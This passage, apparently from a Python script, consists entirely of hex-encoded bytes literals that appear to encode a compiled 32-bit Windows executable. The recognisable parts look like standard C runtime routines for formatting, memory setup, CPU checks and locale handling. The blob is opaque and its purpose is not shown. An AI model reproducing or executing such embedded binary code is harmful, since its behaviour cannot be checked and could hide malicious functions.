+b'5e5dc20400f6410c407406837908007424ff4904780b8b118802ff010fb6c0eb0c0fbe' \
+b'c05150e8180c0000595983f8ff75030906c3ff06c38bff558bec568bf0eb138b4d108a' \
+b'4508ff4d0ce8b5ffffff833eff7406837d0c007fe75e5dc38bff558becf6470c405356' \
+b'8bf08bd97432837f0800752c8b45080106eb2b8a03ff4d088bcfe87dffffff43833eff' \
+b'7513e853f9ffff83382a750f8bcfb03fe864ffffff837d08007fd55e5b5dc38bff558b' \
+b'ec81ec78020000a100e0400033c58945fc538b5d0c568b750833c0578b7d14ff75108d' \
+b'8da4fdffff89b5b4fdffff89bddcfdffff8985b8fdffff8985f0fdffff8985ccfdffff' \
+b'8985e8fdffff8985d0fdffff8985c0fdffff8985c8fdffffe86cfeffff85f67535e8cb' \
+b'f8ffffc7001600000033c05050505050e8a6fbffff83c41480bdb0fdffff00740a8b85' \
+b'acfdffff836070fd83c8ffe9c80a0000f6460c40755e56e8383b000059bae0e4400083' \
+b'f8ff741b83f8fe74168bc883e11f8bf0c1fe05c1e106030cb5e0fc4000eb028bcaf641' \
+b'247f759183f8ff741983f8fe74148bc883e01fc1f905c1e00603048de0fc4000eb028b' \
+b'c2f64024800f8567ffffff33c93bd90f845dffffff8a13898dd8fdffff898de0fdffff' \
+b'898dbcfdffff8895effdffff84d20f841f0a00004383bdd8fdffff00899dc4fdffff0f' \
+b'8c0b0a00008ac22c203c5877110fbec20fbe8070b3400083e00f33f6eb0433f633c00f' \
+b'be84c190b340006a07c1f80459898594fdffff3bc10f87ad090000ff24855b3f400083' \
+b'8de8fdffffff89b590fdffff89b5c0fdffff89b5ccfdffff89b5d0fdffff89b5f0fdff' \
+b'ff89b5c8fdffffe9760900000fbec283e820744a83e803743683e80874254848741583' \
+b'e8030f8557090000838df0fdffff08e94b090000838df0fdffff04e93f090000838df0' \
+b'fdffff01e933090000818df0fdffff80000000e924090000838df0fdffff02e9180900' \
+b'0080fa2a752c83c70489bddcfdffff8b7ffc3bfe89bdccfdffff0f8df9080000838df0' \
+b'fdffff04f79dccfdffffe9e70800008b85ccfdffff6bc00a0fbeca8d4408d08985ccfd' \
+b'ffffe9cc08000089b5e8fdffffe9c108000080fa2a752683c70489bddcfdffff8b7ffc' \
+b'3bfe89bde8fdffff0f8da2080000838de8fdffffffe9960800008b85e8fdffff6bc00a' \
+b'0fbeca8d4408d08985e8fdffffe97b08000080fa49745580fa68744480fa6c741880fa' \
+b'770f8563080000818df0fdffff00080000e954080000803b6c751643818df0fdffff00' \
+b'100000899dc4fdffffe939080000838df0fdffff10e92d080000838df0fdffff20e921' \
+b'0800008a033c36751d807b013475174343818df0fdffff00800000899dc4fdffffe9fe' \
+b'0700003c33751d807b01327517434381a5f0fdffffff7fffff899dc4fdffffe9dd0700' \
+b'003c640f84d50700003c690f84cd0700003c6f0f84c50700003c750f84bd0700003c78' \
+b'0f84b50700003c580f84ad07000089b594fdffff8d85a4fdffff500fb6c25089b5c8fd' \
+b'ffffe8983a00005985c08a85effdffff5974228b8db4fdffff8db5d8fdffffe8a4fbff' \
+b'ff8a0343899dc4fdffff84c00f84a4fcffff8b8db4fdffff8db5d8fdffffe882fbffff' \
+b'e94d0700000fbec283f8640f8fe80100000f847902000083f8530f8ff20000000f8480' \
+b'00000083e8417410484874584848740848480f859205000080c220c78590fdffff0100' \
+b'00008895effdffff838df0fdffff4039b5e8fdffff8d9df4fdffffb800020000899de4' \
+b'fdffff8985a0fdffff0f8d48020000c785e8fdffff06000000e9a5020000f785f0fdff' \
+b'ff300800000f8598000000818df0fdffff00080000e989000000f785f0fdffff300800' \
+b'00750a818df0fdffff000800008b8de8fdffff83f9ff7505b9ffffff7f83c704f785f0' \
+b'fdffff1008000089bddcfdffff8b7ffc89bde4fdffff0f84b10400003bfe750ba124e4' \
+b'40008985e4fdffff8b85e4fdffffc785c8fdffff01000000e97f04000083e8580f84da' \
+b'020000484874792bc10f8427ffffff48480f859e04000083c704f785f0fdffff100800' \
+b'0089bddcfdffff74300fb747fc5068000200008d85f4fdffff508d85e0fdffff50e8db' \
+b'38000083c41085c0741fc785c0fdffff01000000eb138a47fc8885f4fdffffc785e0fd' \
+b'ffff010000008d85f4fdffff8985e4fdffffe9350400008b0783c70489bddcfdffff3b' \
+b'c6743b8b48043bce7434f785f0fdffff000800000fbf00898de4fdffff7414992bc2d1' \
+b'f8c785c8fdffff01000000e9f003000089b5c8fdffffe9e5030000a120e440008985e4' \
+b'fdffff50e85236000059e9ce03000083f8700f8ffb0100000f84e301000083f8650f8c' \
+b'bc03000083f8670f8e34feffff83f869747183f86e742883f86f0f85a0030000f685f0' \
+b'fdffff80c785e0fdffff080000007461818df0fdffff00020000eb558b3783c70489bd' \
+b'dcfdffffe8cbe0ffff85c00f842ffafffff685f0fdffff20740c668b85d8fdffff6689' \
+b'06eb088b85d8fdffff8906c785c0fdffff01000000e9a6040000838df0fdffff40c785' \
+b'e0fdffff0a0000008b8df0fdfffff7c1008000000f84a90100008b078b570483c708e9' \
+b'd5010000751180fa677565c785e8fdffff01000000eb593985e8fdffff7e068985e8fd' \
+b'ffff81bde8fdffffa30000007e3f8bb5e8fdffff81c65d01000056e83bf3ffff8a95ef' \
+b'fdffff598985bcfdffff85c074108985e4fdffff89b5a0fdffff8bd8eb0ac785e8fdff' \
+b'ffa300000033f68b0783c708898588fdffff8b47fc89858cfdffff8d85a4fdffff50ff' \
+b'b590fdffff0fbec2ffb5e8fdffff89bddcfdffff50ffb5a0fdffff8d8588fdffff5350' \
+b'ff3578ec4000e800e4ffff59ffd08bbdf0fdffff83c41c81e780000000742039b5e8fd' \
+b'ffff75188d85a4fdffff5053ff3584ec4000e8d1e3ffff59ffd0595980bdeffdffff67' \
+b'751c3bfe75188d85a4fdffff5053ff3580ec4000e8ace3ffff59ffd05959803b2d7511' \
+b'818df0fdffff0001000043899de4fdffff53e903feffffc785e8fdffff08000000898d' \
+b'b8fdffffeb2483e8730f84b6fcffff48480f8489feffff83e8030f85b6010000c785b8' \
+b'fdffff27000000f685f0fdffff80c785e0fdffff100000000f8469feffff8a85b8fdff' \
+b'ff0451c685d4fdffff308885d5fdffffc785d0fdffff02000000e945fefffff7c10010' \
+b'00000f854bfeffff83c704f6c120741889bddcfdfffff6c14074060fbf47fceb040fb7' \
+b'47fc99eb138b47fcf6c140740399eb0233d289bddcfdfffff6c140741b3bd67f177c04' \
+b'3bc67311f7d883d200f7da818df0fdffff00010000f785f0fdffff009000008bda8bf8' \
+b'750233db83bde8fdffff007d0cc785e8fdffff01000000eb1a83a5f0fdfffff7b80002' \
+b'00003985e8fdffff7e068985e8fdffff8bc70bc375062185d0fdffff8d75f38b85e8fd' \
+b'ffffff8de8fdffff85c07f068bc70bc3742d8b85e0fdffff9952505357e87435000083' \
+b'c13083f939899da0fdffff8bf88bda7e06038db8fdffff880e4eebbd8d45f32bc646f7' \
+b'85f0fdffff000200008985e0fdffff89b5e4fdffff746185c074078bce8039307456ff' \
+b'8de4fdffff8b8de4fdffffc6013040eb3e49663930740640403bce75f42b85e4fdffff' \
+b'd1f8eb283bfe750ba120e440008985e4fdffff8b85e4fdffffeb07498038007405403b' \
+b'ce75f52b85e4fdffff8985e0fdffff83bdc0fdffff000f855c0100008b85f0fdffffa8' \
+b'407432a9000100007409c685d4fdffff2deb18a8017409c685d4fdffff2beb0ba80274' \
+b'11c685d4fdffff20c785d0fdffff010000008b9dccfdffff2b9de0fdffff2b9dd0fdff' \
+b'fff685f0fdffff0c7517ffb5b4fdffff8d85d8fdffff536a20e870f5ffff83c40cffb5' \
+b'd0fdffff8bbdb4fdffff8d85d8fdffff8d8dd4fdffffe876f5fffff685f0fdffff0859' \
+b'741bf685f0fdffff04751257536a308d85d8fdffffe82ef5ffff83c40c83bdc8fdffff' \
+b'008b85e0fdffff746685c07e628bb5e4fdffff8985a0fdffff0fb706ff8da0fdffff50' \
+b'6a068d45f4508d8598fdffff465046e87533000083c41085c07528398598fdffff7420' \
+b'ffb598fdffff8d85d8fdffff8d4df4e8f1f4ffff83bda0fdffff005975b5eb1c838dd8' \
+b'fdffffffeb138b8de4fdffff508d85d8fdffffe8caf4ffff5983bdd8fdffff007c1bf6' \
+b'85f0fdffff04741257536a208d85d8fdffffe882f4ffff83c40c83bdbcfdffff007413' \
+b'ffb5bcfdffffe862eeffff83a5bcfdffff00598b9dc4fdffff8a038885effdffff84c0' \
+b'74138b8d94fdffff8bbddcfdffff8ad0e9e1f5ffff80bdb0fdffff00740a8b85acfdff' \
+b'ff836070fd8b85d8fdffff8b4dfc5f5e33cd5be812d9ffffc9c3906637400067354000' \
+b'97354000f5354000413640004c36400092364000c03740008bff558bec51568b750c56' \
+b'e83c30000089450c8b460c59a8827517e883edffffc70009000000834e0c2083c8ffe9' \
+b'2f010000a840740de868edffffc70022000000ebe35333dba8017416895e04a8100f84' \
+b'870000008b4e0883e0fe890e89460c8b460c83e0ef83c80289460c895e04895dfca90c' \
+b'010000752ce838f0ffff83c0203bf0740ce82cf0ffff83c0403bf0750dff750ce84f2f' \
+b'00005985c0750756e8833c000059f7460c08010000570f84800000008b46088b3e8d48' \
+b'01890e8b4e182bf8493bfb894e047e1d5750ff750ce8773b000083c40c8945fceb4d83' \
+b'c82089460c83c8ffeb798b4d0c83f9ff741b83f9fe74168bc183e01f8bd1c1fa05c1e0' \
+b'06030495e0fc4000eb05b8e0e44000f640042074146a02535351e8e032000023c283c4' \
+b'1083f8ff74258b46088a4d088808eb1633ff47578d450850ff750ce8083b000083c40c' \
+b'8945fc397dfc7409834e0c2083c8ffeb088b450825ff0000005f5b5ec9c3558bec83ec' \
+b'04897dfc8b7d088b4d0cc1e907660fefc0eb088da4240000000090660f7f07660f7f47' \
+b'10660f7f4720660f7f4730660f7f4740660f7f4750660f7f4760660f7f47708dbf8000' \
+b'00004975d08b7dfc8be55dc3558bec83ec10897dfc8b4508998bf833fa2bfa83e70f33' \
+b'fa2bfa85ff753c8b4d108bd183e27f8955f43bca74122bca5150e873ffffff83c4088b' \
+b'45088b55f485d274450345102bc28945f833c08b7df88b4df4f3aa8b4508eb2ef7df83' \
+b'c710897df033c08b7d088b4df0f3aa8b45f08b4d088b551003c82bd0526a0051e87eff' \
+b'ffff83c40c8b45088b7dfc8be55dc36a0c6800c64000e817e9ffff8365fc00660f28c1' \
+b'c745e401000000eb238b45ec8b008b003d050000c0740a3d1d0000c0740333c0c333c0' \
+b'40c38b65e88365e400c745fcfeffffff8b45e4e819e9ffffc38bff558bec83ec1833c0' \
+b'538945fc8945f48945f8539c588bc83500002000509d9c5a2bd1741f519d33c00fa289' \
+b'45f4895de88955ec894df0b8010000000fa28955fc8945f85bf745fc00000004740ee8' \
+b'5cffffff85c0740533c040eb0233c05bc9c3e899ffffffa3e0fd400033c0c38bff558b' \
+b'ec8b45088b00813863736de0752a8378100375248b40143d2005931974153d21059319' \
+b'740e3d2205931974073d004099017505e8e616000033c05dc204006884424000ff15a0' \
+b'b0400033c0c38bff558bec5151538b5d08565733f633ff897dfc3b1cfd28e440007409' \
+b'47897dfc83ff1772ee83ff170f83770100006a03e8dc3c00005983f8010f8434010000' \
+b'6a03e8cb3c00005985c0750d833d10e04000010f841b01000081fbfc0000000f844101' \
+b'00006890b94000bb1403000053bfd8f5400057e82e3c000083c40c85c0740d56565656' \
+b'56e883ebffff83c4146804010000bef1f54000566a00c605f5f6400000ff15e0b04000' \
+b'85c075266878b9400068fb02000056e8ec3b000083c40c85c0740f33c05050505050e8' \
+b'3febffff83c41456e8532c0000405983f83c763856e8462c000083ee3b03c66a03b9ec' \
+b'f840006874b940002bc85150e8f43a000083c41485c0741133f65656565656e8fceaff' \
+b'ff83c414eb0233f66870b940005357e85a3a000083c40c85c0740d5656565656e8d8ea' \
+b'ffff83c4148b45fcff34c52ce440005357e8353a000083c40c85c0740d5656565656e8' \
+b'b3eaffff83c41468102001006848b9400057e8a838000083c40ceb326af4ff15dcb040' \
+b'008bd83bde742483fbff741f6a008d45f8508d34fd2ce44000ff36e8912b00005950ff' \
+b'3653ff153cb040005f5e5bc9c36a03e8603b00005983f80174156a03e8533b00005985' \
+b'c0751f833d10e0400001751668fc000000e829feffff68ff000000e81ffeffff5959c3' \
+b'833d140e4100007505e863130000568b3548f240005733ff85f6751883c8ffe9a00000' \
+b'003c3d74014756e8192b0000598d7406018a0684c075ea6a044757e83fe9ffff8bf859' \
+b'59893d9cf5400085ff74cb8b3548f2400053eb4256e8e82a00008bd843803e3d597431' \
+b'6a0153e811e9ffff5959890785c0744e565350e8443a000083c40c85c0740f33c05050' \
+b'505050e897e9ffff83c41483c70403f3803e0075b9ff3548f24000e803e8ffff832548' \
+b'f2400000832700c705080e41000100000033c0595b5f5ec3ff359cf54000e8dde7ffff' \
+b'83259cf540000083c8ffebe48bff558bec518b4d105333c05689078bf28b550cc70101' \
+b'00000039450874098b5d088345080489138945fc803e22751033c03945fcb3220f94c0' \
+b'468945fceb3cff0785d274088a0688024289550c8a1e0fb6c35046e8943a00005985c0' \
+b'7413ff07837d0c00740a8b4d0c8a06ff450c8801468b550c8b4d1084db7432837dfc00' \
+b'75a980fb20740580fb09759f85d27404c642ff008365fc00803e000f84e90000008a06' \
+b'3c2074043c09750646ebf34eebe3803e000f84d0000000837d080074098b4508834508' \
+b'048910ff0133db4333c9eb024641803e5c74f9803e227526f6c101751f837dfc00740c' \
+b'8d460180382275048bf0eb0d33c033db3945fc0f94c08945fcd1e985c974124985d274' \
+b'04c6025c42ff0785c975f189550c8a0684c07455837dfc0075083c20744b3c09744785' \
+b'db743d0fbec05085d27423e8af3900005985c0740d8a068b4d0cff450c880146ff078b' \
+b'4d0c8a06ff450c8801eb0de88c3900005985c0740346ff07ff078b550c46e956ffffff' \
+b'85d27407c602004289550cff078b4d10e90effffff8b45085e5b85c07403832000ff01' \
+b'c9c38bff558bec83ec0c5333db5657391d140e41007505e8df1000006804010000bef0' \
+b'f840005653881df4f94000ff15e0b04000a1200e41008935acf540003bc374078945fc' \
+b'381875038975fc8b55fc8d45f85053538d7df4e80afeffff8b45f883c40c3dffffff3f' \
+b'734a8b4df483f9ff73428bf8c1e7028d040f3bc1723650e842e6ffff8bf0593bf37429' \
+b'8b55fc8d45f85003fe57568d7df4e8c9fdffff8b45f883c40c48a390f54000893594f5' \
+b'400033c0eb0383c8ff5f5e5bc9c38bff558beca1f8f9400083ec0c53568b35f4b04000' \
+b'5733db33ff3bc3752effd68bf83bfb740cc705f8f9400001000000eb23ff1580b04000' \
+b'83f878750a6a0258a3f8f94000eb05a1f8f9400083f8010f85810000003bfb750fffd6' \
+b'8bf83bfb750733c0e9ca0000008bc766391f740e404066391875f9404066391875f28b' \
+b'35f0b040005353532bc753d1f840505753538945f4ffd68945f83bc3742f50e868e5ff' \
+b'ff598945fc3bc374215353ff75f850ff75f4575353ffd685c0750cff75fce8b8e4ffff' \
+b'59895dfc8b5dfc57ff15ecb040008bc3eb5c83f80274043bc37582ff15e8b040008bf0' \
+b'3bf30f8472ffffff381e740a40381875fb40381875f62bc640508945f8e801e5ffff8b' \
+b'f8593bfb750c56ff15e4b04000e945ffffffff75f85657e88f37000083c40c56ff15e4' \
+b'b040008bc75f5e5bc9c36a546820c64000e8bae1ffff33ff897dfc8d459c50ff1500b1' \
+b'4000c745fcfeffffff6a406a205e56e8ebe4ffff59593bc70f8414020000a3e0fc4000' \
+b'8935c0fc40008d8800080000eb30c64004008308ffc640050a897808c6402400c64025' \
+b'0ac640260a897838c640340083c0408b0de0fc400081c1000800003bc172cc66397dce' \
+b'0f840a0100008b45d03bc70f84ff0000008b388d58048d043b8945e4be000800003bfe' \
+b'7c028bfec745e001000000eb5b6a406a20e85de4ffff595985c074568b4de08d0c8de0' \
+b'fc400089018305c0fc4000208d9000080000eb2ac64004008308ffc640050a83600800' \
+b'80602480c640250ac640260a83603800c640340083c0408b1103d63bc272d2ff45e039' \
+b'3dc0fc40007c9deb068b3dc0fc40008365e00085ff7e6d8b45e48b0883f9ff745683f9' \
+b'fe74518a03a801744ba808750b51ff15fcb0400085c0743c8b75e08bc6c1f80583e61f' \
+b'c1e606033485e0fc40008b45e48b0089068a0388460468a00f00008d460c50e8951100' \
+b'00595985c00f84c9000000ff4608ff45e0438345e404397de07c9333db8bf3c1e60603' \
+b'35e0fc40008b0683f8ff740b83f8fe7406804e0480eb72c646048185db75056af658eb' \
+b'0a8bc348f7d81bc083c0f550ff15dcb040008bf883ffff744385ff743f57ff15fcb040' \
+b'0085c07434893e25ff00000083f8027506804e0440eb0983f8037504804e040868a00f' \
+b'00008d460c50e8ff100000595985c07437ff4608eb0a804e0440c706feffffff4383fb' \
+b'030f8c67ffffffff35c0fc4000ff15f8b0400033c0eb1133c040c38b65e8c745fcfeff' \
+b'ffff83c8ffe8b8dfffffc38bff56b8e0c44000bee0c44000578bf83bc6730f8b0785c0' \
+b'7402ffd083c7043bfe72f15f5ec38bff56b8e8c44000bee8c44000578bf83bc6730f8b' \
+b'0785c07402ffd083c7043bfe72f15f5ec38bff558bec33c03945086a000f94c0680010' \
+b'000050ff1508b14000a3fcf9400085c075025dc333c040a3bcfc40005dc38bff558bec' \
+b'83ec10a100e040008365f8008365fc005357bf4ee640bbbb0000ffff3bc7740d85c374' \
+b'09f7d0a304e04000eb60568d45f850ff1518b140008b75fc3375f8ff1564b0400033f0' \
+b'ff15c4b0400033f0ff1514b1400033f08d45f050ff1510b140008b45f43345f033f03b' \
+b'f77507be4fe640bbeb0b85f375078bc6c1e0100bf0893500e04000f7d6893504e04000' \
+b'5e5f5bc9c38325b8fc400000c38bff565733f6bf00fa4000833cf52ce5400001751e8d' \
+b'04f528e54000893868a00f0000ff3083c718e8720f0000595985c0740c4683fe247cd2' \
+b'33c0405f5ec38324f528e540000033c0ebf18bff538b1d04b1400056be28e54000578b' \
+b'3e85ff7413837e0401740d57ffd357e867e0ffff8326005983c60881fe48e640007cdc' \
+b'be28e540005f8b0685c07409837e0401750350ffd383c60881fe48e640007ce65e5bc3' \
+b'8bff558bec8b4508ff34c528e54000ff15d8b040005dc36a0c6840c64000e893ddffff' \
+b'33ff47897de433db391dfcf940007518e815f7ffff6a1ee863f5ffff68ff000000e856' \
+b'd9ffff59598b75088d34f528e54000391e74048bc7eb6e6a18e85fe0ffff598bf83bfb' \
+b'750fe87cdfffffc7000c00000033c0eb516a0ae85900000059895dfc391e752c68a00f' \
+b'000057e8690e0000595985c0751757e895dfffff59e846dfffffc7000c000000895de4' \
+b'eb0b893eeb0757e87adfffff59c745fcfeffffffe8090000008b45e4e82bddffffc36a' \
+b'0ae828ffffff59c38bff558bec8b4508568d34c528e54000833e00751350e822ffffff' \
+b'5985c075086a11e84ad8ffff59ff36ff15d4b040005e5dc38bff558bec53568b75088b' \
+b'86bc00000033db573bc3746f3d58ed400074688b86b00000003bc3745e3918755a8b86' \
+b'b80000003bc374173918751350e8e8deffffffb6bc000000e85537000059598b86b400' \
+b'00003bc374173918751350e8c7deffffffb6bc000000e8ef3600005959ffb6b0000000' \
+b'e8afdeffffffb6bc000000e8a4deffff59598b86c00000003bc37444391875408b86c4' \
+b'0000002dfe00000050e883deffff8b86cc000000bf800000002bc750e870deffff8b86' \
+b'd00000002bc750e862deffffffb6c0000000e857deffff83c4108dbed40000008b073d' \
+b'98ec400074173998b4000000750f50e8d5340000ff37e830deffff59598d7e50c74508' \
+b'06000000817ff850e6400074118b073bc3740b3918750750e80bdeffff59395ffc7412' \
+b'8b47043bc3740b3918750750e8f4ddffff5983c710ff4d0875c756e8e5ddffff595f5e' \
+b'5b5dc38bff558bec53568b3544b04000578b7d0857ffd68b87b000000085c0740350ff' \
+b'd68b87b800000085c0740350ffd68b87b400000085c0740350ffd68b87c000000085c0' \
+b'740350ffd68d5f50c7450806000000817bf850e6400074098b0385c0740350ffd6837b' \
+b'fc00740a8b430485c0740350ffd683c310ff4d0875d68b87d400000005b400000050ff' \
+b'd65f5e5b5dc38bff558bec578b7d0885ff0f848300000053568b3548b0400057ffd68b' \
+b'87b000000085c0740350ffd68b87b800000085c0740350ffd68b87b400000085c07403' \
+b'50ffd68b87c000000085c0740350ffd68d5f50c7450806000000817bf850e640007409' \
+b'8b0385c0740350ffd6837bfc00740a8b430485c0740350ffd683c310ff4d0875d68b87' \
+b'd400000005b400000050ffd65e5b8bc75f5dc385ff743785c07433568b303bf7742857' \
+b'8938e8c1feffff5985f6741b56e845ffffff833e0059750f81fe58e64000740756e859' \
+b'fdffff598bc75ec333c0c36a0c6860c64000e8eed9ffffe8bbd0ffff8bf0a188ec4000' \
+b'8546707422837e6c00741ce8a4d0ffff8b706c85f675086a20e859d5ffff598bc6e801' \
+b'daffffc36a0ce8d8fcffff598365fc008d466c8b3d30e74000e869ffffff8945e4c745' \
+b'fcfeffffffe802000000ebc16a0ce8d3fbffff598b75e4c32da4030000742283e80474' \
+b'1783e80d740c48740333c0c3b804040000c3b812040000c3b804080000c3b811040000' \
+b'c38bff56578bf0680101000033ff8d461c5750e8d6c9ffff33c00fb7c88bc1897e0489' \
+b'7e08897e0cc1e1100bc18d7e10abababb940e7400083c40c8d461c2bcebf010100008a' \
+b'14018810404f75f78d861d010000be000100008a14088810404e75f75f5ec38bff558b' \
+b'ec81ec1c050000a100e0400033c58945fc53578d85e8faffff50ff7604ff151cb14000' \
+b'bf0001000085c00f84fb00000033c0888405fcfeffff403bc772f48a85eefaffffc685' \
+b'fcfeffff2084c0742e8d9deffaffff0fb6c80fb6033bc877162bc140508d940dfcfeff' \
+b'ff6a2052e813c9ffff83c40c438a034384c075d86a00ff760c8d85fcfaffffff760450' \
+b'578d85fcfeffff506a016a00e88a36000033db53ff76048d85fcfdffff5750578d85fc' \
+b'feffff5057ff760c53e89d3a000083c44453ff76048d85fcfcffff5750578d85fcfeff' \
+b'ff506800020000ff760c53e8783a000083c42433c00fb78c45fcfafffff6c101740e80' \
+b'4c061d108a8c05fcfdffffeb11f6c1027415804c061d208a8c05fcfcffff888c061d01' \
+b'0000eb08c684061d01000000403bc772beeb568d861d010000c785e4faffff9fffffff' \
+b'33c92985e4faffff8b95e4faffff8d840e1d01000003d08d5a2083fb19770c804c0e1d' \
+b'108ad180c220eb0f83fa19770e804c0e1d208ad180ea208810eb03c60000413bcf72c2' \
+b'8b4dfc5f33cd5be8e2c4ffffc9c36a0c6880c64000e852d7ffffe81fceffff8bf8a188' \
+b'ec4000854770741d837f6c0074178b776885f675086a20e8c2d2ffff598bc6e86ad7ff' \
+b'ffc36a0de841faffff598365fc008b77688975e43b3568eb4000743685f6741a56ff15' \
+b'48b0400085c0750f81fe40e74000740756e86cd9ffff59a168eb40008947688b3568eb' \
+b'40008975e456ff1544b04000c745fcfeffffffe805000000eb8e8b75e46a0de806f9ff' \
+b'ff59c38bff558bec83ec105333db538d4df0e874deffff891d74fb400083fefe751ec7' \
+b'0574fb400001000000ff1524b14000385dfc74458b4df8836170fdeb3c83fefd7512c7' \
+b'0574fb400001000000ff1520b14000ebdb83fefc75128b45f08b4004c70574fb400001' \
+b'000000ebc4385dfc74078b45f8836070fd8bc65bc9c38bff558bec83ec20a100e04000' \
+b'33c58945fc538b5d0c568b750857e864ffffff8bf833f6897d083bfe750e8bc3e8b7fc' \
+b'ffff33c0e99d0100008975e433c039b870eb40000f8491000000ff45e483c0303df000' \
+b'000072e781ffe8fd00000f847001000081ffe9fd00000f84640100000fb7c750ff1528' \
+b'b1400085c00f84520100008d45e85057ff151cb1400085c00f84330100006801010000' \
+b'8d431c5650e833c6ffff33d24283c40c897b0489730c3955e80f86f8000000807dee00' \
+b'0f84cf0000008d75ef8a0e84c90f84c20000000fb646ff0fb6c9e9a600000068010100' \
+b'008d431c5650e8ecc5ffff8b4de483c40c6bc9308975e08db180eb40008975e4eb2a8a' \
+b'460184c074280fb63e0fb6c0eb128b45e08a806ceb400008443b1d0fb64601473bf876' \
+b'ea8b7d084646803e0075d18b75e4ff45e083c608837de0048975e472e98bc7897b04c7' \
+b'430801000000e867fbffff6a0689430c8d43108d8974eb40005a668b31416689304140' \
+b'404a75f38bf3e8d7fbffffe9b7feffff804c031d04403bc176f64646807eff000f8534' \
+b'ffffff8d431eb9fe000000800808404975f98b4304e812fbffff89430c895308eb0389' \
+b'730833c00fb7c88bc1c1e1100bc18d7b10abababeba8393574fb40000f8558feffff83' \
+b'c8ff8b4dfc5f5e33cd5be8ddc1ffffc9c36a1468a0c64000e84dd4ffff834de0ffe816' \
+b'cbffff8bf8897ddce8dcfcffff8b5f688b7508e875fdffff8945083b43040f84570100' \
+b'006820020000e826d7ffff598bd885db0f8446010000b9880000008b77688bfbf3a583' \
+b'230053ff7508e8b8fdffff59598945e085c00f85fc0000008b75dcff7668ff1548b040' \
+b'0085c075118b46683d40e74000740750e848d6ffff59895e68538b3d44b04000ffd7f6' \
+b'4670020f85ea000000f60588ec4000010f85dd0000006a0de8c2f6ffff598365fc008b' \
+b'4304a384fb40008b4308a388fb40008b430ca38cfb400033c08945e483f8057d10668b' \
+b'4c431066890c4578fb400040ebe833c08945e43d010100007d0d8a4c181c888860e940' \
+b'0040ebe933c08945e43d000100007d108a8c181d010000888868ea400040ebe6ff3568' \
+b'eb4000ff1548b0400085c07513a168eb40003d40e74000740750e88fd5ffff59891d68' \
+b'eb400053ffd7c745fcfeffffffe802000000eb306a0de83bf5ffff59c3eb2583f8ff75' \
+b'2081fb40e74000740753e859d5ffff59e80ad5ffffc70016000000eb048365e0008b45' \
+b'e0e805d3ffffc3833d140e41000075126afde856feffff59c705140e41000100000033' \
+b'c0c38bff558bec51535657ff35100e4100e8d6c6ffffff350c0e41008bf8897dfce8c6' \
+b'c6ffff8bf059593bf70f82830000008bde2bdf8d430483f804727757e8113500008bf8' \
+b'8d4304593bf87348b8000800003bf873028bc703c73bc7720f50ff75fce8d9d5ffff59' \
+b'5985c075168d47103bc7724050ff75fce8c3d5ffff595985c07431c1fb02508d3498e8' \
+b'e1c5ffff59a3100e4100ff7508e8d3c5ffff890683c60456e8c8c5ffff59a30c0e4100' \
+b'8b450859eb0233c05f5e5bc9c38bff566a046a20e82dd5ffff8bf056e8a1c5ffff83c4' \
+b'0ca3100e4100a30c0e410085f675056a18585ec383260033c05ec36a0c68c0c64000e8' \
+b'aad1ffffe8a6cdffff8365fc00ff7508e8f8feffff598945e4c745fcfeffffffe80900' \
+b'00008b45e4e8c6d1ffffc3e885cdffffc38bff558becff7508e8b7fffffff7d81bc0f7' \
+b'd859485dc38bff565733ff8db760ec4000ff36e81ec5ffff83c70459890683ff2872e8' \
+b'5f5ec36a0868e0c64000e836d1ffffe803c8ffff8b407885c074168365fc00ffd0eb07' \
+b'33c040c38b65e8c745fcfeffffffe86d340000e84fd1ffffc368a6594000e8cdc4ffff' \
+b'59a390fb4000c38bff558bec8b4508a394fb4000a398fb4000a39cfb4000a3a0fb4000' \
+b'5dc38bff558bec8b45088b0d2ce0400056395004740f8bf16bf60c03750883c00c3bc6' \
+b'72ec6bc90c034d085e3bc17305395004740233c05dc3ff359cfb4000e8e1c4ffff59c3' \
+b'6a206800c74000e88ad0ffff33ff897de4897dd88b5d0883fb0b7f4c74158bc36a0259' \
+b'2bc174222bc174082bc174642bc17544e8b7c6ffff8bf8897dd885ff751483c8ffe961' \
+b'010000be94fb4000a194fb4000eb60ff775c8bd3e85dffffff8bf083c6088b06eb5a8b' \
+b'c383e80f743c83e806742b48741ce850d2ffffc7001600000033c05050505050e82bd5' \
+b'ffff83c414ebaebe9cfb4000a19cfb4000eb16be98fb4000a198fb4000eb0abea0fb40' \
+b'00a1a0fb4000c745e40100000050e81dc4ffff8945e05933c0837de0010f84d8000000' \
+b'3945e075076a03e8d3cdffff3945e4740750e8d1f2ffff5933c08945fc83fb08740a83' \
+b'fb0b740583fb04751b8b4f60894dd489476083fb0875408b4f64894dd0c747648c0000' \
+b'0083fb08752e8b0d20e04000894ddc8b0d24e040008b1520e0400003ca394ddc7d198b' \
+b'4ddc6bc90c8b575c89441108ff45dcebdbe885c3ffff8906c745fcfeffffffe8150000' \
+b'0083fb08751fff776453ff55e059eb198b5d088b7dd8837de40074086a00e85ff1ffff' \
+b'59c353ff55e05983fb08740a83fb0b740583fb0475118b45d489476083fb0875068b45' \
+b'd089476433c0e82ccfffffc38bff558bec8b4508a3a8fb40005dc38bff558bec8b4508' \
+b'a3b4fb40005dc38bff558bec8b4508a3b8fb40005dc36a106820c74000e8adceffff83' \
+b'65fc00ff750cff7508ff1530b140008945e4eb2f8b45ec8b008b008945e033c93d1700' \
+b'00c00f94c18bc1c38b65e8817de0170000c075086a08ff15c0b040008365e400c745fc' \
+b'feffffff8b45e4e89fceffffc38bff558bec8b4508a3bcfb40005dc38bff558becff35' \
+b'bcfb4000e883c2ffff5985c0740fff7508ffd05985c0740533c0405dc333c05dc3cccc' \
+b'5356578b5424108b4424148b4c2418555250515168585d400064ff3500000000a100e0' \
+b'400033c489442408648925000000008b4424308b58088b4c242c33198b700c83fefe74' \
+b'3b8b54243483fafe74043bf2762e8d34768d5cb3108b0b89480c837b040075cc680101' \
+b'00008b4308e83a330000b9010000008b4308e84c330000ebb0648f050000000083c418' \
+b'5f5e5bc38b4c2404f7410406000000b80100000074338b4424088b480833c8e8f2baff' \
+b'ff558b6818ff700cff7010ff7014e83effffff83c40c5d8b4424088b5424108902b803' \
+b'000000c3558b4c24088b29ff711cff7118ff7128e815ffffff83c40c5dc20400555657' \
+b'538bea33c033db33d233f633ffffd15b5f5e5dc38bea8bf18bc16a01e89732000033c0' \
+b'33db33c933d233ffffe6558bec5356576a006a0068ff5d400051e8bf4500005f5e5b5d' \
+b'c3558b6c24085251ff742414e8b4feffff83c40c5dc208008bff558bec8b0da0fc4000' \
